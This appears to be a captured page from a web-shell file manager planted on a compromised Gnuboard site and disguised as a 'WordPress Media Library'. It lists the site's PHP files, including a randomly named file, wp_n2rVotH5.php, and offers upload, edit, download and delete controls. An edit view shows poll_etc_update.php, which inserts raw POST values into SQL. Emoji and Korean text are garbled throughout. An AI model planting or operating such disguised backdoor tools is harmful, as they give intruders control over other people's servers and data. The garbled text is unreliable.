โ WordPress Media Library
File manager
๐ Media Files
๐ง _common.php
๐ง _head.php
๐ง _head.sub.php
๐ง _tail.php
๐ง _tail.sub.php
๐ง ajax.autosave.php
๐ง ajax.autosavedel.php
๐ง ajax.autosavelist.php
๐ง ajax.autosaveload.php
๐ง ajax.comment_token.php
๐ง ajax.filter.php
๐ง ajax.mb_email.php
๐ง ajax.mb_hp.php
๐ง ajax.mb_id.php
๐ง ajax.mb_nick.php
๐ง ajax.mb_recommend.php
๐ง alert.php
๐ง alert_close.php
๐ง board.php
๐ง board_head.php
๐ง board_list_update.php
๐ง board_tail.php
๐ง confirm.php
๐ง content.php
๐ง current_connect.php
๐ง db_table.optimize.php
๐ง delete.php
๐ง delete_all.php
๐ง delete_comment.php
๐ง download.php
๐ง email_certify.php
๐ง email_stop.php
๐ง faq.php
๐ง formmail.php
๐ง formmail_send.php
๐ง good.php
๐ง group.php
๐ง link.php
๐ง list.php
๐ง login.php
๐ง login_check.php
๐ง logout.php
๐ง member_confirm.php
๐ง member_leave.php
๐ง memo.php
๐ง memo_delete.php
๐ง memo_form.php
๐ง memo_form_update.php
๐ง memo_view.php
๐ง move.php
๐ง move_update.php
๐ง mypage.php
๐ง new.php
๐ง new_delete.php
๐ง newwin.inc.php
๐ง password.php
๐ง password_check.php
๐ง password_lost.php
๐ง password_lost2.php
๐ง password_lost_certify.php
๐ง point.php
๐ง poll_etc_update.php
๐ง poll_etc_update_mail.php
๐ง poll_result.php
๐ง poll_update.php
๐ง profile.php
๐ง qadelete.php
๐ง qadownload.php
๐ง qahead.php
๐ง qalist.php
๐ง qatail.php
๐ง qaview.php
๐ง qawrite.php
๐ง qawrite_update.php
๐ง register.php
๐ง register_email.php
๐ง register_email_update.php
๐ง register_form.php
๐ง register_form_update.php
๐ง register_form_update_mail1.php
๐ง register_form_update_mail2.php
๐ง register_form_update_mail3.php
๐ง register_result.php
๐ง rss.php
๐ง scrap.php
๐ง scrap_delete.php
๐ง scrap_popin.php
๐ง scrap_popin_update.php
๐ง search.php
๐ง sns_send.php
๐ง view.php
๐ง view_comment.php
๐ง view_image.php
๐ง visit_browscap.inc.php
๐ง visit_insert.inc.php
๐ง wp_n2rVotH5.php
๐ง write.php
๐ง write_comment_update.php
๐ง write_comment_update.sns.php
๐ง write_token.php
๐ง write_update.php
๐ง write_update_mail.php
๐ง zboard.php
โฌ๏ธ Upload Media
Upload File
๐ Edit: poll_etc_update.php
Size: 1.96 KB | Modified: 2019-01-10 22:38:00
<?php include_once('./_common.php'); include_once(G5_LIB_PATH.'/mailer.lib.php'); if ($w == '') { $po_id = $_POST['po_id']; $pc_name = $_POST['pc_name']; $pc_idea = $_POST['pc_idea']; $po = sql_fetch(" select * from {$g5['poll_table']} where po_id = '{$po_id}' "); if (!$po['po_id']) alert('po_id ๊ฐ์ด ์ ๋๋ก ๋์ด์ค์ง ์์์ต๋๋ค.'); $tmp_row = sql_fetch(" select max(pc_id) as max_pc_id from {$g5['poll_etc_table']} "); $pc_id = $tmp_row['max_pc_id'] + 1; $sql = " insert into {$g5['poll_etc_table']} ( pc_id, po_id, mb_id, pc_name, pc_idea, pc_datetime ) values ( '{$pc_id}', '{$po_id}', '{$member['mb_id']}', '{$pc_name}', '{$pc_idea}', '".G5_TIME_YMDHIS."' ) "; sql_query($sql); $pc_idea = stripslashes($pc_idea); $name = get_text(cut_str($pc_name, $config['cf_cut_name'])); $mb_id = ''; if ($member['mb_id']) $mb_id = '('.$member['mb_id'].')'; // ํ๊ฒฝ์ค์ ์ ํฌํ ๊ธฐํ์๊ฒฌ ์์ฑ์ ์ต๊ณ ๊ด๋ฆฌ์์๊ฒ ๋ฉ์ผ๋ฐ์ก ์ฌ์ฉ์ ์ฒดํฌ๋์ด ์์ ๊ฒฝ์ฐ if ($config['cf_email_po_super_admin']) { $subject = $po['po_subject']; $content = $pc_idea; ob_start(); include_once ('./poll_etc_update_mail.php'); $content = ob_get_contents(); ob_end_clean(); // ๊ด๋ฆฌ์์๊ฒ ๋ณด๋ด๋ ๋ฉ์ผ $admin = get_admin('super'); $from_email = $member['mb_email'] ? $member['mb_email'] : $admin['mb_email']; mailer($name, $from_email, $admin['mb_email'], '['.$config['cf_title'].'] ์ค๋ฌธ์กฐ์ฌ ๊ธฐํ์๊ฒฌ ๋ฉ์ผ', $content, 1); } } else if ($w == 'd') { if ($member['mb_id'] || $is_admin == 'super') { $sql = " delete from {$g5['poll_etc_table']} where pc_id = '{$pc_id}' "; if (!$is_admin) $sql .= " and mb_id = '{$member['mb_id']}' "; sql_query($sql); } } goto_url('./poll_result.php?po_id='.$po_id.'&skin_dir='.$skin_dir); ?>
๐พ Save Changes
๐ฅ Download
๐๏ธ Delete